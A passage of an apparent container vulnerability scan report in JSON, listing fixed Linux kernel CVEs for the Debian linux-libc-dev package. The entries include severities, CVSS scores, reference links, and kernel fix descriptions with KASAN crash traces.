[00007fff93b3d3f4] 0x7fff93b3d3f4\n---- interrupt: 3000\n\n The buggy address belongs to the object at c0000003c38e0000\n which belongs to the cache pgtable-2^9 of size 4096\n The buggy address is located 0 bytes inside of\n 4096-byte region [c0000003c38e0000, c0000003c38e1000)\n\n The buggy address belongs to the physical page:\n page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x3c38c\n head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0\n memcg:c0000003bfd63e01\n flags: 0x63ffff800000040(head|node=6|zone=0|lastcpupid=0x7ffff)\n page_type: f5(slab)\n raw: 063ffff800000040 c000000140058980 5deadbeef0000122 0000000000000000\n raw: 0000000000000000 0000000080200020 00000000f5000000 c0000003bfd63e01\n head: 063ffff800000040 c000000140058980 5deadbeef0000122 0000000000000000\n head: 0000000000000000 0000000080200020 00000000f5000000 c0000003bfd63e01\n head: 063ffff800000002 c00c000000f0e301 00000000ffffffff 00000000ffffffff\n head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004\n page dumped because: kasan: bad access detected\n\n[ 138.953636] [ T2164] Memory state around the buggy address:\n[ 138.953643] [ T2164] c0000003c38dff00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953652] [ T2164] c0000003c38dff80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953661] [ T2164] \u003ec0000003c38e0000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953669] [ T2164] ^\n[ 138.953675] [ T2164] c0000003c38e0080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953684] [ T2164] c0000003c38e0100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953692] [ T2164] ==================================================================\n[ 138.953701] [ T2164] Disabling lock debugging due to kernel taint", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31686", "https://git.kernel.org/linus/51d8c78be0c27ddb91bc2c0263941d8b30a47d3b%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2277246ea265cdca64ce6fdea4b26cd6ff0ec4db", "https://git.kernel.org/stable/c/3298bdf5a878ded06351eb293856fa84e050029e", "https://git.kernel.org/stable/c/51d8c78be0c27ddb91bc2c0263941d8b30a47d3b", "https://git.kernel.org/stable/c/7d7b2d5c107a1f6302cf0006d859985e7c3ddd1c", "https://git.kernel.org/stable/c/85d98614e089a67dc6faa8ca766fe10a639f82b4", "https://git.kernel.org/stable/c/a05f77cb227c39c5069aea6f12762a29d1e6c103", "https://git.kernel.org/stable/c/b38237a2ea9c6c19836eee2c57037e1f9f103576", "https://git.kernel.org/stable/c/cec74b2ab7dff866b1d77eaa545b9e8fd14a1f87", "https://git.kernel.org/stable/c/f6204f7ff6aff62ce6242a76982c5ba3a9ded707", "https://lore.kernel.org/linux-cve-announce/2026042722-CVE-2026-31686-df69@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31686", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31686" ], "PublishedDate": "2026-04-27T18:16:53.987Z", "LastModifiedDate": "2026-11-06T16:18:07.867Z" }, { "VulnerabilityID": "CVE-2026-31695", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31695", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:086fc6af977651f82d09bef0a210e9c103514fb22bd967159947f4cd30adaf28", "Title": "kernel: wifi: virt_wifi: remove SET_NETDEV_DEV to avoid use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: virt_wifi: remove SET_NETDEV_DEV to avoid use-after-free\n\nCurrently we execute `SET_NETDEV_DEV(dev, \u0026priv-\u003elowerdev-\u003edev)` for\nthe virt_wifi net devices. However, unregistering a virt_wifi device in\nnetdev_run_todo() can happen together with the device referenced by\nSET_NETDEV_DEV().\n\nIt can result in use-after-free during the ethtool operations performed\non a virt_wifi device that is currently being unregistered. Such a net\ndevice can have the `dev.parent` field pointing to the freed memory,\nbut ethnl_ops_begin() calls `pm_runtime_get_sync(dev-\u003edev.parent)`.\n\nLet's remove SET_NETDEV_DEV for virt_wifi to avoid bugs like this:\n\n ==================================================================\n BUG: KASAN: slab-use-after-free in __pm_runtime_resume+0xe2/0xf0\n Read of size 2 at addr ffff88810cfc46f8 by task pm/606\n\n Call Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x4d/0x70\n print_report+0x170/0x4f3\n ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n kasan_report+0xda/0x110\n ? __pm_runtime_resume+0xe2/0xf0\n ? __pm_runtime_resume+0xe2/0xf0\n __pm_runtime_resume+0xe2/0xf0\n ethnl_ops_begin+0x49/0x270\n ethnl_set_features+0x23c/0xab0\n ? __pfx_ethnl_set_features+0x10/0x10\n ? kvm_sched_clock_read+0x11/0x20\n ? local_clock_noinstr+0xf/0xf0\n ? local_clock+0x10/0x30\n ? kasan_save_track+0x25/0x60\n ? __kasan_kmalloc+0x7f/0x90\n ? genl_family_rcv_msg_attrs_parse.isra.0+0x150/0x2c0\n genl_family_rcv_msg_doit+0x1e7/0x2c0\n ? __pfx_genl_family_rcv_msg_doit+0x10/0x10\n ? __pfx_cred_has_capability.isra.0+0x10/0x10\n ? stack_trace_save+0x8e/0xc0\n genl_rcv_msg+0x411/0x660\n ? __pfx_genl_rcv_msg+0x10/0x10\n ? __pfx_ethnl_set_features+0x10/0x10\n netlink_rcv_skb+0x121/0x380\n ? __pfx_genl_rcv_msg+0x10/0x10\n ? __pfx_netlink_rcv_skb+0x10/0x10\n ? __pfx_down_read+0x10/0x10\n genl_rcv+0x23/0x30\n netlink_unicast+0x60f/0x830\n ? __pfx_netlink_unicast+0x10/0x10\n ? __pfx___alloc_skb+0x10/0x10\n netlink_sendmsg+0x6ea/0xbc0\n ? __pfx_netlink_sendmsg+0x10/0x10\n ? __futex_queue+0x10b/0x1f0\n ____sys_sendmsg+0x7a2/0x950\n ? copy_msghdr_from_user+0x26b/0x430\n ? __pfx_____sys_sendmsg+0x10/0x10\n ? __pfx_copy_msghdr_from_user+0x10/0x10\n ___sys_sendmsg+0xf8/0x180\n ? __pfx____sys_sendmsg+0x10/0x10\n ? __pfx_futex_wait+0x10/0x10\n ? fdget+0x2e4/0x4a0\n __sys_sendmsg+0x11f/0x1c0\n ? __pfx___sys_sendmsg+0x10/0x10\n do_syscall_64+0xe2/0x570\n ? exc_page_fault+0x66/0xb0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n \u003c/TASK\u003e\n\nThis fix may be combined with another one in the ethtool subsystem:\nhttps://lore.kernel.org/all/20260322075917.254874-1-alex.popov@linux.com/T/#u", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31695", "https://git.kernel.org/linus/789b06f9f39cdc7e895bdab2c034e39c41c8f8d6%20%287.0-rc7%29", "https://git.kernel.org/stable/c/5adc01506da94dfaab76f3d1b8410a8ca7bfc59d", "https://git.kernel.org/stable/c/5bbadf60b121065ffb267ec92018607b9c1c7524", "https://git.kernel.org/stable/c/789b06f9f39cdc7e895bdab2c034e39c41c8f8d6", "https://git.kernel.org/stable/c/c5fa98842783ed227365d1303785de6a67020c8d", "https://git.kernel.org/stable/c/d1e3aa80e6e04410ba89eaaba4441a0d749d181d", "https://git.kernel.org/stable/c/dcb5915696bd7b32b6404a897c24ee47cb23e772", "https://git.kernel.org/stable/c/e90f3e74e1ebc26c461a74be490d322716bcdcb4", "https://lore.kernel.org/linux-cve-announce/2026050141-CVE-2026-31695-813b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31695", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31695" ], "PublishedDate": "2026-05-01T14:16:19.25Z", "LastModifiedDate": "2026-06-17T10:34:15.38Z" }, { "VulnerabilityID": "CVE-2026-31696", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31696", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b29afa3a60cac2aa62b7b93a218c3d633c1d5529eadd0d24efe7a8e41b2f0c48", "Title": "kernel: rxrpc: Fix missing validation of ticket length in non-XDR key preparsing", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix missing validation of ticket length in non-XDR key preparsing\n\nIn rxrpc_preparse(), there are two paths for parsing key payloads: the\nXDR path (for large payloads) and the non-XDR path (for payloads \u003c= 28\nbytes). While the XDR path (rxrpc_preparse_xdr_rxkad()) correctly\nvalidates the ticket length against AFSTOKEN_RK_TIX_MAX, the non-XDR\npath fails to do so.\n\nThis allows an unprivileged user to provide a very large ticket length.\nWhen this key is later read via rxrpc_read(), the total\ntoken size (toksize) calculation results in a value that exceeds\nAFSTOKEN_LENGTH_MAX, triggering a WARN_ON().\n\n[ 2001.302904] WARNING: CPU: 2 PID: 2108 at net/rxrpc/key.c:778 rxrpc_read+0x109/0x5c0 [rxrpc]\n\nFix this by adding a check in the non-XDR parsing path of rxrpc_preparse()\nto ensure the ticket length does not exceed AFSTOKEN_RK_TIX_MAX,\nbringing it into parity with the XDR parsing logic.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31696", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/ac33733b10b484d666f97688561670afd5861383%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1fa36cf495b0023e8475d038535c05e4063211e1", "https://git.kernel.org/stable/c/41a117dd80371343babc52198d1114e83eb37627", "https://git.kernel.org/stable/c/4458757c020592a3094366e0fb20457383b42f92", "https://git.kernel.org/stable/c/44714dfda386884919ba366411880b6fb3c3efd3", "https://git.kernel.org/stable/c/9a397aa9b5e53ca63d4d6aefb542832eca389618", "https://git.kernel.org/stable/c/a1be1c9ece26cea69654f28b255ff9a7906b897b", "https://git.kernel.org/stable/c/ac33733b10b484d666f97688561670afd5861383", "https://git.kernel.org/stable/c/ce383ba615339f8eaec646a166d2c2b015bb5ca0", "https://linux.oracle.com/cve/CVE-2026-31696.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050118-CVE-2026-31696-d2de@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31696", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31696" ], "PublishedDate": "2026-05-01T14:16:19.403Z", "LastModifiedDate": "2026-11-06T16:18:08.463Z" }, { "VulnerabilityID": "CVE-2026-31702", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31702", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:75402f4e640edcc7af3f24c69bd04e9ec154b563b34ed544534043d4b98ee8d3", "Title": "kernel: f2fs: fix use-after-free of sbi in f2fs_compress_write_end_io()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix use-after-free of sbi in f2fs_compress_write_end_io()\n\nIn f2fs_compress_write_end_io(), dec_page_count(sbi, type) can bring\nthe F2FS_WB_CP_DATA counter to zero, unblocking\nf2fs_wait_on_all_pages() in f2fs_put_super() on a concurrent unmount\nCPU. The unmount path then proceeds to call\nf2fs_destroy_page_array_cache(sbi), which destroys\nsbi-\u003epage_array_slab via kmem_cache_destroy(), and eventually\nkfree(sbi). Meanwhile, the bio completion callback is still executing:\nwhen it reaches page_array_free(sbi, ...), it dereferences\nsbi-\u003epage_array_slab — a destroyed slab cache — to call\nkmem_cache_free(), causing a use-after-free.\n\nThis is the same class of bug as CVE-2026-23234 (which fixed the\nequivalent race in f2fs_write_end_io() in data.c), but in the\ncompressed writeback completion path that was not covered by that fix.\n\nFix this by moving dec_page_count() to after page_array_free(), so\nthat all sbi accesses complete before the counter decrement that can\nunblock unmount. For non-last folios (where atomic_dec_return on\ncic-\u003epending_pages is nonzero), dec_page_count is called immediately\nbefore returning — page_array_free is not reached on this path, so\nthere is no post-decrement sbi access. For the last folio,\npage_array_free runs while the F2FS_WB_CP_DATA counter is still\nnonzero (this folio has not yet decremented it), keeping sbi alive,\nand dec_page_count runs as the final operation.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31702", "https://git.kernel.org/linus/39d4ee19c1e7d753dd655aebee632271b171f43a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2c97dcb6147c8f7f25c629b93be1e69617de5d4a", "https://git.kernel.org/stable/c/39d4ee19c1e7d753dd655aebee632271b171f43a", "https://git.kernel.org/stable/c/57bc678f36ac03281e877c6b84877b43f964143f", "https://git.kernel.org/stable/c/c76cf339b87975ae5b2c06d2d774d5667d25a12a", "https://git.kernel.org/stable/c/ef57cd3329b40c739b9a2e1a8a21ecc4171c6280", "https://git.kernel.org/stable/c/f5154cf3ce1c8193f0c1891d3769f62740cfe6fe", "https://lore.kernel.org/linux-cve-announce/2026050120-CVE-2026-31702-4062@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31702", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31702" ], "PublishedDate": "2026-05-01T14:16:20.14Z", "LastModifiedDate": "2026-06-17T10:34:16.31Z" }, { "VulnerabilityID": "CVE-2026-31709", "VendorIDs": [ "DSA-6253-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31709", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e2e0e37ad2684b4c7aa4c0c96f7237df16337b33e15dae762ed9bd6da42d852b", "Title": "kernel: smb: client: validate the whole DACL before rewriting it in cifsacl", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: validate the whole DACL before rewriting it in cifsacl\n\nbuild_sec_desc() and id_mode_to_cifs_acl() derive a DACL pointer from a\nserver-supplied dacloffset and then use the incoming ACL to rebuild the\nchmod/chown security descriptor.\n\nThe original fix only checked that the struct smb_acl header fits before\nreading dacl_ptr-\u003esize or dacl_ptr-\u003enum_aces. That avoids the immediate\nheader-field OOB read, but the rewrite helpers still walk ACEs based on\npdacl-\u003enum_aces with no structural validation of the incoming DACL body.\n\nA malicious server can return a truncated DACL that still contains a\nheader, claims one or more ACEs, and then drive\nreplace_sids_and_copy_aces() or set_chmod_dacl() past the validated\nextent while they compare or copy attacker-controlled ACEs.\n\nFactor the DACL structural checks into validate_dacl(), extend them to\nvalidate each ACE against the DACL bounds, and use the shared validator\nbefore the chmod/chown rebuild paths. parse_dacl() reuses the same\nvalidator so the read-side parser and write-side rewrite paths agree on\nwhat constitutes a well-formed incoming DACL.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-1288" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/errata/RHSA-2026:21706", "https://access.redhat.com/errata/RHSA-2026:21745", "https://access.redhat.com/errata/RHSA-2026:22900", "https://access.redhat.com/errata/RHSA-2026:22940", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:23237", "https://access.redhat.com/errata/RHSA-2026:23329", "https://access.redhat.com/errata/RHSA-2026:24343", "https://access.redhat.com/security/cve/CVE-2026-31709", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2390372", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2424886", "https://bugzilla.redhat.com/show_bug.cgi?id=2429104", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2455334", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464476", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68724", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://errata.rockylinux.org/RLSA-2026:21556", "https://git.kernel.org/linus/0a8cf165566ba55a39fd0f4de172119dd646d39a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0a8cf165566ba55a39fd0f4de172119dd646d39a", "https://git.kernel.org/stable/c/8e47d297e7cf9a6029a0d38e7b22faba7d7aaf12", "https://git.kernel.org/stable/c/b78db9bddc84136f6a0bb49e8883cf200dfb87a8", "https://git.kernel.org/stable/c/b8603d9ae6c9087662b098619996bc4a8064319d", "https://git.kernel.org/stable/c/c2abdebf72000a64603ced84d36ccbd164f11391", "https://git.kernel.org/stable/c/d92f3f0b22414e7515696a02224d0af55e3004a3", "https://git.kernel.org/stable/c/ff0ca46b13b9ef6edbcd238a3b6caacfef8ba0e5", "https://linux.oracle.com/cve/CVE-2026-31709.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050122-CVE-2026-31709-335b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31709", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31709.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", 